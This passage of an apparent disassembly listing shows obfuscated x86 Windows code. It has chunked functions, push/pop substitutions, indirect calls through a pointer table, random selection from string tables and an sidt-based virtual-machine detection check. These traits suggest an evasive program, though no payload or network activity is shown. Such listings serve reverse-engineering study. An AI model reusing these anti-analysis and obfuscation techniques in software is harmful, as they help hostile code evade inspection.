		call	sub_9B35A0


loc_9AF22F:				; CODE XREF: sub_9B4610-3B42j
					; sub_9B4610-1036j
		inc	edi
		jmp	loc_9B4654
; END OF FUNCTION CHUNK	FOR sub_9B4610
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADDA4


loc_9AF238:				; CODE XREF: sub_9ADDA4:loc_9B1C08j
					; DATA XREF: .text:009B2B2Co ...
		lea	ecx, [edi-2]
		mov	[ebp-20h], ecx
		jmp	loc_9AED43
; END OF FUNCTION CHUNK	FOR sub_9ADDA4
; ---------------------------------------------------------------------------
		align 4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AF248:				; CODE XREF: sub_9B63D8-1B6Bj
		cmp	dword ptr [ebp-2130h], 0FFFFFFFFh
		jnz	loc_9AF94B
		jmp	loc_9AB6FC
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		mov	edi, edi

; =============== S U B	R O U T	I N E =======================================



sub_9AF25C	proc near		; CODE XREF: sub_9AF030+4F4Bp

; FUNCTION CHUNK AT 009AB474 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009AB8CC SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009AB9C8 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 009ABBC0 SIZE 0000005D BYTES
; FUNCTION CHUNK AT 009ABE44 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 009AC4E8 SIZE 0000003C BYTES
; FUNCTION CHUNK AT 009ADBC4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009B0B54 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B2618 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 009B33DB SIZE 0000002C BYTES
; FUNCTION CHUNK AT 009B3B78 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B3F50 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 009B4134 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009B46B4 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B5344 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B6018 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 009B603C SIZE 0000002E BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9BA992
		push	offset unknown_libname_1 ; Microsoft VisualC 2-8/net runtime
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	esi, [ebp+8]
		mov	eax, dword_9BCB74
		push	dword ptr [eax]
		pop	ecx
		push	off_9BADC8
		call	dword ptr [ecx+18h]
		mov	dword ptr [ebp-4], 0
		mov	ecx, esi
		call	sub_9B3150
		or	eax, eax
		jz	loc_9AB8D1
		jmp	loc_9ABBC0
sub_9AF25C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ABD30


loc_9AF2B4:				; CODE XREF: sub_9ABD30+42CFj
		push	[esp+0Ch+arg_8]
		pop	edx
		pop	edi
		mov	ecx, 1
		pop	esi
		mov	dword ptr [edx], 0
		push	ecx
		pop	eax
		pop	ebp
		retn	10h
; END OF FUNCTION CHUNK	FOR sub_9ABD30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AF2CC:				; CODE XREF: sub_9B0930+1767j
					; DATA XREF: .text:off_9B8904o
		push	off_9BADC4
		push	dword ptr [eax]
		pop	eax
		push	eax
		call	esi
		mov	ecx, dword_9BCB74
		mov	edx, [ecx+10h]
		mov	[edx+24h], eax
		mov	eax, dword_9BCB74
		push	dword ptr [eax+10h]
		pop	eax
		push	dword ptr [eax+24h]
		pop	ecx
		or	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B9707
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AF300:				; CODE XREF: sub_9B63D8-873Ej
					; DATA XREF: .text:off_9BAED1o
		mov	dword ptr [ecx], 1


loc_9AF306:				; CODE XREF: sub_9B63D8-8744j
		push	dword ptr [ebp-2150h]
		pop	edx
		push	dword ptr [ebp-2144h]
		pop	eax
		add	ebx, edx
		mov	[eax], ebx
		jmp	loc_9AF90B
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 10h
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2160


loc_9AF328:				; CODE XREF: sub_9B2160+49j
		xor	eax, eax
		push	13h
		pop	ecx
		mov	edi, esi
		rep stosd
		mov	[esi], ebx
		inc	ebx
		push	ebx
		pop	eax
		call	sub_9AF3E8
		mov	[esi+44h], eax
		push	ebx
		pop	eax
		call	sub_9AF3E8
		mov	[esi+48h], eax
		mov	edi, [esi+44h]
		and	edi, edi
		jz	loc_9B59DE
		jmp	loc_9B59CC
; END OF FUNCTION CHUNK	FOR sub_9B2160
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9AF35C:				; CODE XREF: sub_9ADAC4+BF9j
		push	dword ptr [ebp-54h]
		pop	edi
		jmp	loc_9B5E5C
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AF368:				; CODE XREF: sub_9B63D8-2C2Bj
		sub	ebx, ebx
		mov	[ebp-2128h], ebx
		or	eax, 0FFFFFFFFh
		mov	[ebp-2124h], eax
		mov	[ebp-2130h], eax


loc_9AF37F:				; CODE XREF: sub_9B63D8-76CAj
		push	2000h
		pop	eax
		sub	eax, ebx
		cmp	eax, 400h
		jb	loc_9B1856
		jmp	loc_9B1850
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AF398:				; CODE XREF: sub_9B1A08-457Cj
					; sub_9B1A08-3077j ...
		mov	esi, [ebp+var_41EC]
		push	esi
		pop	edi
		neg	edi
		sbb	edi, edi
		and	edi, 0FA0h
		add	edi, 3E8h
		mov	[ebp+var_41FC],	edi
		call	sub_9AB574
		mov	[ebp+var_420C],	eax
		cmp	eax, 0FFFFFFFFh
		jnz	loc_9B4444
		jmp	loc_9B606C
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B2F1C


loc_9AF3D0:				; CODE XREF: sub_9B2F1C-D37j
					; DATA XREF: .text:off_9BA8F3o
		mov	[esi+eax], edi
		add	eax, 4
		mov	[ebp-1Ch], eax


loc_9AF3D9:				; CODE XREF: sub_9B2F1C-D3Dj
		test	bl, 20h
		jz	loc_9AF57D
		jmp	loc_9AF570
; END OF FUNCTION CHUNK	FOR sub_9B2F1C
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9AF3E8	proc near		; CODE XREF: sub_9ABF08+35p
					; sub_9B2160-2E2Ap ...

; FUNCTION CHUNK AT 009B51AC SIZE 00000014 BYTES

		or	eax, eax
		jnz	loc_9B51AF
		jmp	loc_9B51AC
sub_9AF3E8	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ACEE8


loc_9AF3F8:				; CODE XREF: sub_9ACEE8-15A9j
		lea	edi, [ebp-0B0h]
		sub	eax, eax
		mov	ecx, 24h
		rep stosd
		stosw
		stosb


loc_9AF40A:				; CODE XREF: sub_9ACEE8-15AFj
					; sub_9ACEE8+2541j
		call	sub_9B45AC
		mov	ecx, 93h
		sub	edx, edx
		div	ecx
		push	edx
		pop	esi
		mov	[ebp-0E4h], esi
		mov	al, [esi+ebp-0B0h]
		and	al, al
		jnz	short loc_9AF40A
		jmp	loc_9AF51C
; END OF FUNCTION CHUNK	FOR sub_9ACEE8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9AF430:				; CODE XREF: sub_9B3864-2ADDj
					; DATA XREF: .text:off_9B96E8o
		mov	dl, [ebp+var_2024]
		and	dl, 1
		mov	[ebp+var_203D],	dl
		jnz	loc_9AD9F8
		jmp	off_9BAC67
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AF44C:				; CODE XREF: sub_9B0930+28F0j
					; DATA XREF: .text:off_9BADF8o
		push	off_9B98D1
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		push	dword ptr [edx]
		pop	ecx
		mov	[ecx+48h], eax
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	eax
		push	dword ptr [eax+48h]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B89E1
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9AF480:				; CODE XREF: sub_9B3864-86DAj
					; sub_9B3864-7E34j ...
		mov	ecx, [ebp+var_2044]
		mov	dword ptr [ecx], 0
		jmp	loc_9AE0D3
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AD3EC


loc_9AF494:				; CODE XREF: sub_9AD3EC+50j
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	ecx, edx
		mov	esi, edx
		and	ecx, 1Fh
		mov	edi, 1
		shr	esi, 5
		mov	[ebp-1Ch], eax
		lea	esi, [ebp+esi*4-30h]
		shl	edi, cl
		not	edi
		and	edi, [esi]
		mov	ebx, eax
		jmp	off_9B8C68
; END OF FUNCTION CHUNK	FOR sub_9AD3EC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B03E8


loc_9AF4C4:				; CODE XREF: sub_9B03E8+5E55j
		push	ecx
		sidt	fword ptr [esp+8+var_A]
		pop	dword ptr [ebp-154h]
		push	dword ptr [ebp-154h]
		pop	eax
		cmp	eax, 0D0000000h
		ja	loc_9B6224
		jmp	loc_9B2AD4
; END OF FUNCTION CHUNK	FOR sub_9B03E8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADDA4


loc_9AF4E8:				; CODE XREF: sub_9ADDA4-1219j
		mov	[ebp+edi*4-27Ch], eax
		inc	edi
		mov	[ebp-30h], edi


loc_9AF4F3:				; CODE XREF: sub_9ADDA4-121Fj
		inc	ecx
		jmp	loc_9ADDD8
; END OF FUNCTION CHUNK	FOR sub_9ADDA4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AEC20


loc_9AF4FC:				; CODE XREF: sub_9AEC20+9Dj
					; DATA XREF: .text:off_9BAA9Do
		pop	ebx
		push	esi
		pop	ecx
		and	ebx, 7FFFFFFFh
		call	sub_9AEE5C
		and	eax, 7FFFFFFFh
		cmp	eax, ebx
		jbe	loc_9B3003
		jmp	loc_9B2FEC
; END OF FUNCTION CHUNK	FOR sub_9AEC20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ACEE8


loc_9AF51C:				; CODE XREF: sub_9ACEE8+2543j
		inc	al
		mov	[esi+ebp-0B0h],	al
		lea	edx, [ebp-0C8h]
		push	edx
		lea	eax, [ebp-0CCh]
		push	eax
		push	off_9B9270
		mov	ecx, off_9B9A94[esi*4]
		push	ecx
		lea	edx, [ebp-0D0h]
		lea	ecx, [ebp-0D4h]
		call	sub_9B63D8
		mov	[ebp-0C0h], eax
		mov	ecx, [ebp-0CCh]
		cmp	ecx, 0C8h
		jb	loc_9ACAF8
		jmp	off_9B96E4
; END OF FUNCTION CHUNK	FOR sub_9ACEE8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B2F1C


loc_9AF570:				; CODE XREF: sub_9B2F1C-3B3Aj
		push	dword ptr [ebp+24h]
		pop	edx
		mov	[esi+eax], edx
		add	eax, 4
		mov	[ebp-1Ch], eax


loc_9AF57D:				; CODE XREF: sub_9B2F1C-3B40j
		test	bl, 40h
		jz	loc_9B2310
		jmp	off_9B8DDF
; END OF FUNCTION CHUNK	FOR sub_9B2F1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AF960


loc_9AF58C:				; CODE XREF: sub_9AF960+1A05j
					; DATA XREF: .text:off_9B8FC4o
		push	edx
		pop	ecx
		shr	ecx, 2
		push	eax
		pop	esi
		rep movsd
		push	edx
		pop	ecx
		and	ecx, 3
		rep movsb
; END OF FUNCTION CHUNK	FOR sub_9AF960
; START	OF FUNCTION CHUNK FOR sub_9B27D8


loc_9AF59C:				; CODE XREF: sub_9B27D8-7473j
		mov	edx, dword_9BCB74
		mov	eax, [edx]
		push	off_9B8ED2
		call	dword ptr [eax+18h]
		mov	eax, off_9B97DD
		call	sub_9AD7A4
		mov	ecx, dword_9BCB74
		mov	edx, [ecx]
		push	off_9B8ED2
		push	eax
		pop	esi
		call	dword ptr [edx+1Ch]
		push	esi
		pop	eax
		mov	ecx, 14h
		sub	edx, edx
		div	ecx
		and	edx, edx
		jnz	loc_9B01A7
		jmp	sub_9ADB10
; END OF FUNCTION CHUNK	FOR sub_9B27D8
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9AF5E4	proc near		; CODE XREF: sub_9B27D8-746Dj
					; DATA XREF: .text:off_9BAC25o

; FUNCTION CHUNK AT 009AD704 SIZE 00000067 BYTES
; FUNCTION CHUNK AT 009AD8F4 SIZE 00000061 BYTES
; FUNCTION CHUNK AT 009B09DC SIZE 0000000C BYTES
; FUNCTION CHUNK AT 009B14B8 SIZE 00000012 BYTES

		push	ebx
		pop	edi
		dec	edi


loc_9AF5E7:				; CODE XREF: sub_9AF5E4+9j
		mov	al, [edi+1]
		inc	edi
		test	al, al
		jnz	short loc_9AF5E7
		jmp	loc_9AD704
sub_9AF5E4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AF960


loc_9AF5F4:				; CODE XREF: sub_9AF960+Dj
		mov	ecx, edx
		push	eax
		pop	esi
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	eax
		push	offset dword_9BBE40
		call	dword ptr [eax+18h]
		mov	eax, off_9B97DD
		call	sub_9AD7A4
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx]
		push	off_9B8ED2
		mov	esi, eax
		call	dword ptr [edx+1Ch]
		mov	eax, esi
		xor	edx, edx
		push	9
		pop	ecx
		div	ecx
		push	off_9BA804[edx*4]
		pop	edx
		mov	eax, edx


loc_9AF647:				; CODE XREF: sub_9AF960-314j
		mov	cl, [edx]
		inc	edx
		test	cl, cl
		jnz	short loc_9AF647
		jmp	loc_9B1358
; END OF FUNCTION CHUNK	FOR sub_9AF960
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9AF654	proc near		; CODE XREF: sub_9AF25C-3DE6p
					; sub_9AF25C+545Ap

; FUNCTION CHUNK AT 009AEB6C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 009B06EB SIZE 0000001D BYTES
; FUNCTION CHUNK AT 009B075C SIZE 00000048 BYTES
; FUNCTION CHUNK AT 009B2654 SIZE 0000001F BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B8ED6
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		mov	[ebp-18h], esp
		mov	[ebp-1Ch], eax
		mov	[ebp-4], eax
		mov	ecx, [edx]
		cmp	ecx, 340h
		jb	loc_9B06EB
		jmp	loc_9B075C
sub_9AF654	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9AF698	proc near		; CODE XREF: sub_9AB1A0+AAC1p
					; sub_9B0FD0+4D88p

; FUNCTION CHUNK AT 009AB82C SIZE 00000005 BYTES

		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		call	dword ptr [ecx+30h]
		sub	eax, dword_9BEBD8
		cmp	eax, 2BF20h
		jbe	nullsub_8
		jmp	loc_9AB82C
sub_9AF698	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B5904


loc_9AF6B8:				; CODE XREF: sub_9B5904-156Fj
		inc	eax
		jmp	loc_9B12A3
; END OF FUNCTION CHUNK	FOR sub_9B5904
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AF6C0:				; CODE XREF: sub_9B63D8-1526j
					; DATA XREF: .text:off_9BAAFDo
		mov	dword ptr [ebp-2134h], 1
		jmp	loc_9AF94B
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AF6D0:				; CODE XREF: sub_9B0930+4306j
		push	off_9B97C1
		mov	ecx, [eax]
		push	ecx
		call	esi
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	ecx
		mov	[ecx+40h], eax
		mov	edx, dword_9BCB74
		mov	eax, [edx]
		push	dword ptr [eax+40h]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B8824
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		mov	edi, edi

; =============== S U B	R O U T	I N E =======================================



sub_9AF704	proc near		; CODE XREF: sub_9B03E8+27A0p

; FUNCTION CHUNK AT 009B2C44 SIZE 00000008 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B9020
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		sub	eax, eax
		mov	[ebp-1Ch], eax
		jmp	off_9B9534
sub_9AF704	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AE860


loc_9AF738:				; CODE XREF: sub_9AE860-264Dj
		push	5Ch
		pop	ecx
		sub	edx, edx
		div	ecx
		push	edx
		pop	ecx
		push	5Ch
		pop	esi
		xor	edx, edx
		div	esi
		mov	[ebp+var_1C], edx
		mov	[ebp+var_20], ecx
		push	off_9BA1D0[ecx*4]
		pop	ecx
		mov	eax, [ebp+arg_8]
		push	eax
		pop	esi


loc_9AF75B:				; CODE XREF: sub_9AE860+F03j
		mov	bl, [ecx]
		mov	[esi], bl
		inc	ecx
		inc	esi
		and	bl, bl
		jnz	short loc_9AF75B
		jmp	off_9BA9FD
; END OF FUNCTION CHUNK	FOR sub_9AE860
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9AF76C:				; CODE XREF: sub_9B3864-724Cj
					; DATA XREF: .text:off_9B9139o
		lea	edx, [ebp+var_203C]
		mov	[ebp+var_2054],	edx
		jmp	loc_9AEB96
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AF780:				; CODE XREF: sub_9B1A08+386Cj
					; DATA XREF: .text:off_9BA488o
		mov	edx, dword_9BCB74
		push	dword ptr [edx]
		pop	eax
		call	dword ptr [eax+30h]
		mov	[ebp+var_4204],	eax


loc_9AF792:				; CODE XREF: sub_9B1A08+3866j
		lea	esi, [esi+esi*4]
		shl	esi, 3
		lea	ecx, [esi+ebp-41DCh]
		push	[ebp+var_402C]
		pop	edx
		mov	[ecx], edx
		push	[ebp+var_4028]
		pop	eax
		mov	[ecx+4], eax
		mov	edx, [ebp+var_4024]
		mov	[ecx+8], edx
		push	[ebp+var_4020]
		pop	eax
		mov	[ecx+0Ch], eax
		lea	ecx, [esi+ebp-41CCh]
		mov	edx, [ebp+var_403C]
		mov	[ecx], edx
		push	[ebp+var_4038]
		pop	eax
		mov	[ecx+4], eax
		push	[ebp+var_4034]
		pop	edx
		mov	[ecx+8], edx
		push	[ebp+var_4030]
		pop	eax
		mov	[ecx+0Ch], eax
		mov	eax, edi
		mov	[esi+ebp-41B8h], edi
		call	sub_9AF3E8
		jmp	loc_9AB158
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9AF808:				; CODE XREF: sub_9B3864-6674j
		and	edx, edx
		jnz	loc_9B0D78
		jmp	off_9B9260
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AF818:				; CODE XREF: sub_9B0930+3118j
		push	off_9BAD5D
		mov	eax, [eax]
		push	eax
		call	esi
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx+10h]
		pop	edx
		mov	[edx+3Ch], eax
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax+10h]
		pop	eax
		push	dword ptr [eax+3Ch]
		pop	ecx
		and	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9BA7E1
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9AF858:				; CODE XREF: sub_9AB1A0+2B35j
					; DATA XREF: .text:off_9BA3F8o
		call	sub_9B45AC
		sub	edx, edx
		div	dword ptr [ebp-30h]
		test	edx, edx
		jnz	loc_9B5B2C
		jmp	loc_9AC030
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9AF870:				; CODE XREF: sub_9B3864-7E2Ej
		mov	eax, [ebp+var_2020]
		or	eax, eax
		jz	loc_9B3D6C
		jmp	loc_9AF480
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AD97C


loc_9AF884:				; CODE XREF: sub_9AD97C+28A2j
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+0Ch]
		pop	eax
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp-1Ch]
		push	edx
		call	dword ptr [eax+1Ch]
		or	eax, eax
		jnz	loc_9AC18B
		jmp	off_9B9E44
; END OF FUNCTION CHUNK	FOR sub_9AD97C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0D34


loc_9AF8A8:				; CODE XREF: sub_9B0D34+1Aj
		mov	ecx, dword_9BCB74
		mov	eax, [esp+arg_4]
		mov	edx, [ecx+10h]
		mov	ecx, [esp+arg_0]
		push	0
		push	eax
		push	ecx
		push	esi
		call	dword ptr [edx+44h]
		or	eax, eax
		jge	loc_9B2D84
		jmp	loc_9B19BC
; END OF FUNCTION CHUNK	FOR sub_9B0D34
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9AF8D0:				; CODE XREF: sub_9B1D80-4B62j
		push	edx
		call	sub_9AFCA0
		add	esp, 4
		test	eax, eax
		jz	loc_9B1D5B
		jmp	loc_9ADE34
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AE400


loc_9AF8E8:				; CODE XREF: sub_9AE400+39j
		push	[ebp+arg_4]
		pop	eax
		push	eax
		push	[ebp+arg_0]
		pop	ecx
		push	ecx
		call	sub_9A5033
		add	esp, 8
		and	eax, eax
		jz	loc_9B43AB
		jmp	loc_9AE1B8
; END OF FUNCTION CHUNK	FOR sub_9AE400
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AF90B:				; CODE XREF: sub_9B63D8-76A4j
					; sub_9B63D8-70C0j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp-2134h]
		pop	eax
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		push	dword ptr [ebp-1Ch]
		pop	ecx
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn	10h
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1584


loc_9AF938:				; CODE XREF: sub_9B1584+91j
					; DATA XREF: .text:off_9B9DF7o
		push	esi
		call	sub_9ABE84
		inc	esi
		jmp	loc_9B1609
; END OF FUNCTION CHUNK	FOR sub_9B1584
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AF944:				; CODE XREF: sub_9B63D8-B30Ej
					; sub_9B63D8-AE16j ...
		push	dword ptr [ebp-2128h]
		pop	ebx


loc_9AF94B:				; CODE XREF: sub_9B63D8:loc_9AB5D0j
					; sub_9B63D8-ACD2j ...
		mov	eax, [ebp-2138h]
		or	eax, eax
		jz	loc_9AE7BE
		jmp	loc_9AB2C8
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9AF960	proc near		; CODE XREF: sub_9AF5E4-1C95j
					; DATA XREF: .text:off_9B8945o

; FUNCTION CHUNK AT 009AF58C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009AF5F4 SIZE 0000005F BYTES
; FUNCTION CHUNK AT 009B1358 SIZE 00000013 BYTES

		push	ebx
		pop	edi
		sub	edx, eax
		dec	edi


loc_9AF965:				; CODE XREF: sub_9AF960+Bj
		mov	cl, [edi+1]
		inc	edi
		test	cl, cl
		jnz	short loc_9AF965
		jmp	loc_9AF5F4
sub_9AF960	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B43F4


loc_9AF974:				; CODE XREF: sub_9B43F4-6E9Dj
		mov	edx, [ebp+18h]
		push	edx
		push	edi
		push	dword ptr [ebp+10h]
		pop	eax
		push	eax
		movzx	ecx, word ptr [ebx+1Ah]
		mov	edx, [ebx+1Ch]
		push	edx
		call	sub_9ACF9C
		jmp	loc_9ACEAF
; END OF FUNCTION CHUNK	FOR sub_9B43F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AF990:				; CODE XREF: sub_9B1A08-28E3j
					; DATA XREF: .text:off_9B9300o
		call	sub_9AC448
		mov	dword ptr [esi], 0


loc_9AF99B:				; CODE XREF: sub_9B1A08-28E9j
		inc	edi
		mov	[ebp+var_41E8],	edi
		jmp	loc_9B17D5
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AF9A8:				; CODE XREF: sub_9B1A08+2EE3j
					; DATA XREF: .text:off_9BAF63o
		test	al, 10h
		jz	loc_9B16BE
		jmp	loc_9AD5C8
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B03E8


loc_9AF9B8:				; CODE XREF: sub_9B03E8+55j
		xor	edi, edi
		jmp	loc_9B620A
; END OF FUNCTION CHUNK	FOR sub_9B03E8
; ---------------------------------------------------------------------------
		align 10h
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B3FF8


loc_9AF9C3:				; CODE XREF: sub_9B3FF8-8D74j
					; sub_9B3FF8-176Dj
		mov	[ebp+var_4], 0FFFFFFFFh
		push	[ebp+var_1C]
		pop	eax
		push	[ebp+var_10]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B3FF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AF9E0:				; CODE XREF: sub_9B63D8-64DFj
		mov	cl, [ebp-2115h]
		cmp	cl, 30h
		jl	loc_9AF944
		jmp	loc_9B5E4C
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9AF9F4:				; CODE XREF: sub_9ADAC4+5656j
		inc	eax
		jmp	loc_9AD654
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9AF9FC:				; CODE XREF: sub_9ADAC4+4768j
		push	0
		lea	eax, [ebp-5Ch]
		lea	esi, [ebp-2Ch]
		xor	edx, edx
		call	sub_9B1334
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax+10h]
		lea	edx, [ebp-5Ch]
		push	edx
		mov	eax, esi
		push	eax
		push	ebx
		call	dword ptr [ecx+14h]
		push	eax
		pop	edi
		mov	[ebp-88h], edi
		or	edi, edi
